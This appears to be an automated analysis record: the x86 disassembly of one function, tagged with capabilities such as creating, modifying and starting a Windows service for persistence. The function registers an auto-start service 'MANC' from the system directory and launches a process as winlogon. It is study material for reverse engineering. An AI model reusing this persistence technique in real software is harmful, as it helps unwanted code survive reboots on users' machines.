Function at 0x402a70
Capabilities:
Create service
Get common file path
Modify service
Persist via windows service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bac0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2b4
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], esp
mov esi, ecx
push edi
push edi
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], edi
call fcn.00407540
push 0x80000002
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.00407720
push edi
push 0x413dc4
lea ecx, [ebp - 0x58]
call fcn.004075e0
cmp eax, edi
je 0x402b0d
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x58]
push eax
push str.Start
mov dword [ebp - 0x1c], edi
call fcn.004076b0
cmp eax, edi
je 0x402b05
mov eax, dword [ebp - 0x1c]
cmp eax, 2
je 0x402b05
push eax
push str.CheckAndStartClientProcess____Manc
call fcn.00401770
add esp, 8
lea ecx, [ebp - 0x58]
push 2
push str.Start
call fcn.00407660
lea ecx, [ebp - 0x58]
call fcn.00407640
mov ecx, esi
call fcn.00402930
test al, al
je 0x402b42
push str.CheckAndStartClientProcess____clinet_normal_exit_
call fcn.00401770
add esp, 4
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0
call fcn.00407590
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push str.YTClientWnd
push edi
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, edi
je 0x402b59
push str.CheckAndStartClientProcess_____Find_Client_Window__Client_is_Running
jmp 0x402b1d
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0040aa30
add esp, 4
push eax
mov ecx, 0x4164e4
mov byte [ebp - 4], 2
call sub.MFC42u.DLL_CString::operator_2
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
push str.Mutex.DAT
lea edx, [ebp - 0x20]
push 0x4164e4
push edx
call sub.MFC42u.DLL_operator
mov ecx, dword [ebp - 0x20]
mov eax, dword [esi + 0xc4]
add esi, 0xc4
push edi
push 0x1012
push ecx
mov ecx, esi
mov byte [ebp - 4], 3
call dword [eax + 0x28]
cmp eax, edi
je 0x402fab
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x54]
push str.CheckAndStartClientProcess_____m_MutexFile.Open__Success
call fcn.00401770
mov word [ebp - 0x2c0], di
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x2be]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x2c0]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c0]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x2c0]
push ecx
lea ecx, [ebp - 0x1c]
call sub.MFC42u.DLL_CString::CString_1
push str.MANC.exe
lea edx, [ebp - 0x28]
mov ebx, 4
push eax
push edx
mov byte [ebp - 4], bl
call sub.MFC42u.DLL_operator
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
lea eax, [ebp - 0x80]
push str.MANC
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
mov dword [ebp - 0x3c], edi
je 0x402dd5
lea ecx, [ebp - 0x80]
push 0xf01ff
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x402d2b
push str.CheckAndStartClientProcess___CreateClientServiceDirect___
call fcn.00401770
add esp, 4
lea edx, [ebp - 0xb8]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0xb4], ebx
je 0x402d0a
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call ebx
push eax
push edi
push str.CheckAndStartClientProcess___
call fcn.00401770
add esp, 0xc
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov edi, eax
call ebx
push eax
push edi
push 0x4139f0
call fcn.00401770
add esp, 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
mov eax, dword [ebp - 0x3c]
push eax
call esi
jmp 0x402f8e
push str.CheckAndStartClientProcess____
call fcn.00401770
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
mov eax, dword [ebp - 0x3c]
push eax
call esi
jmp 0x402f8e
mov ecx, dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
lea edx, [ebp - 0x80]
push 0xf01ff
lea eax, [ebp - 0x80]
push edx
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
je 0x402db8
lea ecx, [ebp - 0x9c]
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x98], ebx
je 0x402d9b
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push eax
push str.CheckAndStartClientProcess___StartClientService_____
call fcn.00401770
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402ded
push str.CheckAndStartClientProcess____QueryServiceStatus___
call fcn.00401770
add esp, 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402ded
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CheckAndStartClientProcess____MANC___CreateService
call fcn.00401770
add esp, 8
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x402ded
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
push eax
push 0x4137d4
call fcn.00401770
add esp, 8
push str._svchost.exe
lea edx, [ebp - 0x14]
push 0x4164e4
push edx
call sub.MFC42u.DLL_operator
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call sub.MFC42u.DLL_CString::MakeLower
call fcn.00402630
test eax, eax
je 0x402e27
push str.sysWow64
push str.system32
lea ecx, [ebp - 0x14]
call sub.MFC42u.DLL_CString::Replace
lea ecx, [ebp - 0x18]
call fcn.00409f2c
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 8
call fcn.0040a720
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x30]
push eax
mov byte [ebp - 4], 9
call fcn.0040af30
lea ecx, [ebp - 0x38]
call fcn.004073c0
mov bl, 0xa
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call fcn.00407500
lea ecx, [ebp - 0x24]
call fcn.00409f2c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xb
push ecx
push str.ForceRun
push str.YTSTATUS
lea ecx, [ebp - 0x38]
call fcn.00407440
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.MSVCRT.dll__wtoi]
mov esi, eax
add esp, 4
test esi, esi
jne 0x402ec1
mov eax, dword [ebp - 0x18]
push str.system
push eax
call dword [sym.imp.MSVCRT.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x402ec1
mov ecx, dword [ebp - 0x18]
push ecx
push str.CheckAndStartClientProcess_____szCurUserName__s__Not_SystemRight_Retrun
call fcn.00401770
add esp, 8
jmp 0x402f53
mov edx, dword [ebp - 0x14]
push 5
push 0x416de8
push edx
push str.winlogon.exe
lea ecx, [ebp - 0x30]
call fcn.0040b130
test eax, eax
jne 0x402f3e
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
call edi
push eax
push str.CheckAndStartClientProcess_____CreateProcessAsWinlogon
call fcn.00401770
add esp, 0x10
cmp esi, 1
jne 0x402f53
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x30]
push edx
push 0x416de8
call fcn.0040a8c0
test al, al
je 0x402f24
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
push eax
push ecx
push str.CheckAndStartClientProcess_____CreateProcessOnDefault
jmp 0x402f4b
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push edx
push eax
call edi
push eax
push 0x41344c
call fcn.00401770
add esp, 0x10
jmp 0x402f53
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
push ecx
push edx
push str.CheckAndStartClientProcess_____CreateProcessAsWinlogon___
call fcn.00401770
add esp, 0xc
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 9
call fcn.00407400
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 8
call fcn.0040a750
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 7
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call sub.MFC42u.DLL_CString::CString
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
jmp 0x402b25
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CheckAndStartClientProcess_____m_MutexFile.Open__Error:_d
call fcn.00401770
add esp, 8
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call sub.MFC42u.DLL_CString::CString
jmp 0x402b25